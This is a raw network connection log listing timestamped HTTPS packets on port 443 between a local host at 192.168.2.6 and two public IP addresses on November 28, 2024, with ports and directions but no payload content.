Nov 28, 2024 15:17:29.849535942 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.850521088 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.850538015 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.850584984 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.850593090 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.850655079 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.858299971 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.858319044 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.858378887 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.858386040 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.858439922 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.858439922 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.865109921 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.865127087 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.865195036 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.865202904 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.865212917 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.865447044 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.873397112 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.873414040 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.873495102 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.873496056 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.873506069 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.873580933 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.877415895 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.877439976 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.877479076 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.877495050 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.877512932 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.877547026 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.880137920 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.880162001 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.880192041 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.880213976 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.880223036 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.880225897 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.880270958 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.880270958 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.880278111 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.880306005 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.880307913 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.880307913 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.884737015 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.884756088 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.884799004 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.884809017 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.884820938 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.884846926 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.886732101 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.886749029 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.886842012 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.886847973 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.886935949 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.887949944 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.887968063 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.888014078 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.888021946 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.888055086 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.888071060 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.893091917 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.893134117 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.893151045 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.893163919 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.893187046 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.893194914 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.893207073 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.893234968 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.893467903 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.893482924 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.893522024 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.893527985 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.893570900 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.893570900 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.895736933 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.895755053 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.895819902 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.895828962 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.895867109 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.895867109 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.897944927 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.897963047 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.899295092 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.899311066 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.899424076 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.899424076 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.899430990 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.899672985 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.905495882 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.905510902 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.905574083 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.905590057 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.909594059 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.910413027 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.910469055 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.910553932 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.910748959 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.910794973 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.910826921 CET	49780	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.910844088 CET	443	49780	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.912322998 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.912339926 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.912450075 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.912456036 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.913117886 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.913158894 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.913177967 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.913602114 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.913736105 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.913749933 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.918870926 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.918893099 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.918951035 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.918957949 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.919048071 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.925580978 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.925597906 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.925652981 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.925657034 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.925698996 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.925698996 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.936820984 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.936842918 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.936881065 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.936891079 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.936918974 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.936965942 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.947860956 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.947880030 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.947932005 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.947938919 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.947969913 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.947988987 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.955882072 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.955908060 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.955975056 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.955982924 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.955995083 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.956053972 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.960767984 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.960783958 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.960828066 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.960835934 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.960863113 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.960889101 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.964678049 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.964706898 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.964746952 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.964762926 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.964771986 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.964818001 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.972892046 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.972913980 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.972955942 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.972963095 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.972994089 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.972994089 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.973459959 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.973475933 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.973519087 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.973526001 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.973548889 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.973557949 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.980344057 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.980366945 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.980417013 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.980422974 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.980477095 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.980477095 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.985467911 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.985487938 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.985517025 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.985523939 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.985551119 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.985574007 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.988913059 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.988934040 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.988996029 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.988996029 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.989003897 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.989059925 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.995595932 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.995630026 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.995667934 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.995675087 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.995686054 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.995701075 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.995717049 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.995748997 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.035145998 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.035166979 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.035219908 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.035231113 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.035288095 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.035288095 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.041846037 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.041867018 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.041944027 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.041944027 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.041953087 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.042074919 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.049638987 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.049662113 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.049731970 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.049731970 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.049741030 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.049835920 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.057300091 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.057317972 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.057370901 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.057378054 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.057410002 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.057423115 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.063982964 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.064001083 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.064076900 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.064076900 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.064085007 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.064146042 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.072496891 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.072514057 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.072586060 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.072592974 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.072614908 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.072628021 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.079032898 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.079051018 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.079133034 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.079140902 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.079181910 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.080022097 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.080108881 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.080158949 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.081451893 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.081475019 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.081548929 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.081548929 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.081558943 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.081696987 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.086292028 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.086323977 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.086359024 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.086364985 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.086384058 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.086384058 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.086448908 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.128804922 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.128829002 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.128901958 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.128916025 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.128956079 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.128973961 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.134985924 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.135004044 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.139691114 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.139705896 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.139945984 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.139961958 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.164762020 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:30.180313110 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:30.180336952 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:30.181802034 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:30.181808949 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:30.325493097 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.325511932 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.325561047 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.325573921 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.325608969 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.325627089 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.338221073 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.338237047 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.338294983 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.338299990 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.338340998 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.512950897 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.512974024 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.513045073 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.513067961 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.513084888 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.513114929 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.525629997 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.525649071 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.525690079 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.525702000 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.525732040 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.525743008 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.538503885 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.538522005 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.538562059 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.538569927 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.538609028 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.538625002 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.549640894 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.549658060 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.549710035 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.549717903 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.549752951 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.549767017 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.618998051 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:30.619074106 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:30.619138956 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:30.706659079 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.706684113 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.706736088 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.706764936 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.706783056 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.709579945 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.719427109 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.719444990 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.719511986 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.719520092 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.719563961 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.730595112 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.730612040 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.730690002 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.730698109 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.730741024 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.743310928 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.743333101 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.743442059 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.743449926 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.743494034 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.774305105 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:30.774323940 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:30.774334908 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:30.774341106 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:30.897105932 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.897134066 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.897263050 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.897290945 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.897344112 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.910018921 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.910034895 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.910125017 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.910130978 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.910173893 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.922446012 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.922461987 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.922545910 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:30.922553062 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:30.922599077 CET	49770	443	192.168.2.6	150.171.27.10
